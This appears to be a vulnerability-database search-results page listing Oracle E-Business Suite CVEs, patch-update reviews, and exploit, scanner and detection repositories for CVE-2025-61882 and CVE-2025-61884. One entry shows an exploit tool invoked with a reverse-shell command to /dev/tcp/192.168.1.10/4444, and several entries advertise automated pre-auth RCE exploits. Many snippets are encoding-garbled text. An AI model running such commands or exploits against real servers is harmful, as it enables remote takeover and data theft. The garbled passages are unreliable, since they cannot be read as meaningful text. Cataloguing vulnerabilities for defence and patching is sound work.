8771 matches found
Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution
Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...
Oracle E-Business Suite <=12.2 - Authentication Bypass
Oracle E-Business Suite component: Manage Proxies 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in...
Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
The Oracle Applications Framework component of Oracle E-Business Suite subcomponent: Popup windows lists of values, datepicker, etc. is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers...
CVE-2025-61882-CVE-2025-61884
CVE-2025-61882 & CVE-2025-61884 ะะ ะะะะงะะะะ: Oracle ัะพะปัะบะพ ััะพ ัะฐัะบััะป ะฝะพะฒัั ััะทะฒะธะผะพััั CVE-2025-61884, ััะตะฝะฐัะธะน ะพะฑะฝะฐััะถะตะฝะธั ััะพะน ััะทะฒะธะผะพััะธ ะผะพะถะฝะพ ะฝะฐะนัะธ ะฒ ััะพะผ ัะตะฟะพะทะธัะพัะธะธ ะธะปะธ ะธะทะฝะฐัะฐะปัะฝะพ ะทะดะตัั:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. ะะฐะบ ัะบะฐะทะฐะฝะพ ะฒ ะฟัะตะดัะฟัะตะถะดะตะฝะธะธ Oracle ะพ...
CVE-2025-61882-Oracle-EBS
Oracle E-Business Suite โ CVE-2025-61882 ์ด ์ ์ฅ์์๋ ZeroZenX์ ์ฐ๊ตฌ ์ฐ์ถ๋ฌผ๊ณผ CVE-2025-61882์ ๋ํ ์์ ํ ์๋ํ๋ ์ต์คํ๋ก์ ๊ตฌํ์ด ํฌํจ๋์ด ์์ผ๋ฉฐ, ์น์ธ๋ ํ๊ฒฝ์์๋ง ๋ฐฉ์ด ์ฐ๊ตฌ, ์นจํด ๋์, ํ์ง ์์ง๋์ด๋ง ๋ฐ ํจ์น ๊ฒ์ฆ์ ์ง์ํ๊ธฐ ์ํด ์ ๊ณต๋ฉ๋๋ค. ์ค์: ์ด ์ฝ๋๋ ํต์ ๋ ์คํ์ค ํ๊ฒฝ์ ๋ณด์ ์ ๋ฌธ๊ฐ, ๋ช ์์ ์น์ธ์ ๋ฐ์ ์นจํฌ ํ ์คํฐ, ๊ทธ๋ฆฌ๊ณ ์ํ ์กฐ์น๋ฅผ ๊ฒ์ฆํด์ผ ํ๋ ๊ณต๊ธ์ ์ฒด/์ด์์๋ง ์ฌ์ฉํ๋๋ก ๊ณ ์๋์์ต๋๋ค. ์์ ํ์ง ์์ ํ๋ก๋์ ์์คํ ๋๋ ์์คํ ์ ๋ํ ๋ฌด๋จ ์ฌ...
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 ํ์ง ์ํฐํฉํธ ์์ฑ๊ธฐ ์์ธํ ๊ธฐ์ ๋ด์ฉ์ ๋ธ๋ก๊ทธ ํฌ์คํธ๋ฅผ ์ฐธ์กฐํ์ธ์. ํ์ง ๋์ root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...
CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit
CVE-2025-61882 - Oracle E-Business Suite ์ฌ์ ์ธ์ฆ RCE ์ต์คํ๋ก์ Oracle E-Business Suite๋ฒ์ 12.2.312.2.14์ ์น๋ช ์ ์ธ ์ฌ์ ์ธ์ฆ ์๊ฒฉ ์ฝ๋ ์คํRCE ์ทจ์ฝ์ ์ผ๋ก, ์ ์์ ์ธ HTTP ์์ฒญ์ ํตํด ๊ณต๊ฒฉ์๊ฐ ์ทจ์ฝํ ์๋ฒ์ ๋ํ ์์ ํ ์ ์ด๊ถ์ ํ๋ํ ์ ์์ต๋๋ค โ ํ์ฌ ์ค์ ๊ณต๊ฒฉ์ ํ๋ฐํ ์ ์ฉ๋๊ณ ์์ต๋๋ค. TL;DR CVE-2025-61882 ๋ Oracle E-Business SuiteEBS์ ์น๋ช ์ ์ธ ์ฌ์ ์ธ์ฆ RCE ์ทจ์ฝ์ ์ผ๋ก, ๊ฐ์ทจ/๋ฐ์ดํฐ ํ์ทจ ์บ ํ์ธ์์...
http-oracle-ebs-cve-2025-61882.nse
http-oracle-ebs-cve-2025-61882.nse Oracle E-Business SuiteCVE-2025-61882๋ฅผ ํ์งํฉ๋๋ค. ํ์ง: ๋ค์ค ๊ณ์ธต ๊ฒ์ฌ โ ํ๊ฑฐํ๋ฆฐํ , ๋ฒ์ ํ์ธ, ์๋ํฌ์ธํธ ๋ฐ SSRF ํ ์คํธ, ํ์ด๋ฐ ๋ถ์ ๋ฐ ํต์ ๋ ์ต์คํ๋ก์์ผ๋ก 4๊ฐ์ง ๋์ ์ ๋ขฐ๋์ ๊ฒฐ๊ณผ๋ฅผ ์ ๊ณตํฉ๋๋ค. ๊ธฐ๋ณธ๊ฐ์ ์์ ํ ํ๊ฑฐํ๋ฆฐํ ๋ง ์ํํฉ๋๋ค. aggressive=true๋ก ์ค์ ํ๋ฉด ๋ฅ๋/ํ๋ก๋น ๊ฒ์ฌ๋ฅผ ํ์ฑํํ๋ฉฐ ์ฃผ์ํด์ ์ฌ์ฉํ์ธ์. ์ ๊ณต: BattalionX [email protected]...
Oracle Critical Security Patch Update, September 2026 Review
Oracle released its September edition of Critical Security Patch Update. The update received patches for 673 security vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including...
vulnerabilities present in Oracle E-Business Suite
Oracle has identified 159 vulnerabilities in various Oracle E-Business Suite products, including Oracle Applications Framework, Oracle Document Management and Collaboration, Oracle Mobile Application Server, Oracle Alert, Oracle Application Object Library, Oracle Applications Manager, Oracle Bill...
Blackash-CVE-2025-61882
๐ก๏ธ๐จ CVEโ2025โ61882 โ Oracle EโBusiness Suite EBS์ ์ฌ๊ฐํ ์ฌ์ ์ธ์ฆ ์๊ฒฉ ์ฝ๋ ์คํ ์ทจ์ฝ์ ๐จ๐ก๏ธ ์์ฝ: Oracle EโBusiness Suite EBS์ ์ฌ๊ฐํ ์ฌ์ ์ธ์ฆ ์๊ฒฉ ์ฝ๋ ์คํ ์ทจ์ฝ์ โ 12.2.3 12.2.14 ๋ฒ์ ์ ์ํฅ, CVSS 9.8 , ์ค์ ํ๊ฒฝ์์ ํ๋ฐํ ์ ์ฉ๋จ๋์ฌ/๊ฐ์ทจ ํ๋ ๋ณด๊ณ ๋จ. oracle.com1 ๐ ๋น ๋ฅธ ์ฌ์ค ํ...
Blackash-CVE-2025-61884
CVE-2025-61884 โ ๆฐใใชOracle E-Business Suiteใฎใใฐใซใใใใญใฐใคใณใชใใงใใใซใผใใใผใฟใซใขใฏใปในใงใใๅฏ่ฝๆง ๐ CVE-2025-61884 โ ๅฎๅ จใชๆฆ่ฆ ๐งพ๐ฅ...
CVE-2025-61882-CVE-2025-61884
CVE-2025-61882 & CVE-2025-61884 ํธ์ง: Oracle์ด ์๋ก์ด ์ทจ์ฝ์ CVE-2025-61884๋ฅผ ๊ณต๊ฐํ์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ ๋ํ ํ์ง ์คํฌ๋ฆฝํธ๋ ์ด ์ ์ฅ์์์ ์ฐพ์ ์ ์์ผ๋ฉฐ, ์๋ณธ์ ์ฌ๊ธฐ:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. Oracle์ ๋ณด์ ๊ถ๊ณ ์ ๋ฐ๋ฅด๋ฉด: ์ด ๋ณด์ ๊ฒฝ๊ณ ๋ Oracle E-Business Suite์ ์ทจ์ฝ์ CVE-2025-61882๋ฅผ ๋ค๋ฃน๋๋ค. ์ด ์ทจ์ฝ์ ์ ์ธ์ฆ ์์ด ์๊ฒฉ์ผ๋ก ์ ์ฉ ๊ฐ๋ฅํฉ๋๋ค. ์ฆ,...
CVE-2025-61882
Oracle E-Business Suite RCE ์ค์บ๋ CVE-2025-61882 Oracle E-Business Suite ์ค์น ํ๊ฒฝ์์ CVE-2025-61882๋ฅผ ํ์งํ๋ ๋น ๋ฅด๊ณ ๋ฉํฐ์ค๋ ๋ ๊ธฐ๋ฐ ๋๋ ์ค์บ๋์ ๋๋ค. ์ด ์น๋ช ์ ์ธ ์ทจ์ฝ์ ์ ์ธ์ฆ ์์ด ์๊ฒฉ ์ฝ๋ ์คํ์ ํ์ฉํฉ๋๋ค. ๐ฏ ์ฃผ์ ๊ธฐ๋ฅ ๋๋ ์ค์บ - ํ์ผ์์ ์๋ฐฑ ๋๋ ์์ฒ ๊ฐ์ ๋์ ์ฒ๋ฆฌ ๋ฉํฐ์ค๋ ๋ - ๋์ ์ค์บ ์ ์ค์ ๊ฐ๋ฅ ๊ธฐ๋ณธ๊ฐ: 20๊ฐ ์ค๋ ๋ ์๋ ํ์ง - id ๋ช ๋ น ์คํ ๋ฐ ์ถ๋ ฅ ํ์ฑ์ ํตํด RCE ๊ฒ์ฆ ์ค์๊ฐ ๊ฒฐ๊ณผ - ์ทจ์ฝํ ๋์์...
CVE-2026-87265
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...
CVE-2026-87165
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: ECC For Award and IDV. The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromis...
CVE-2026-87169
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: Wage Determination Online. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HT...
CVE-2026-87166
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...
CVE-2026-87160
Vulnerability in the Oracle HRMS India product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle HRMS India...
CVE-2026-87163
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...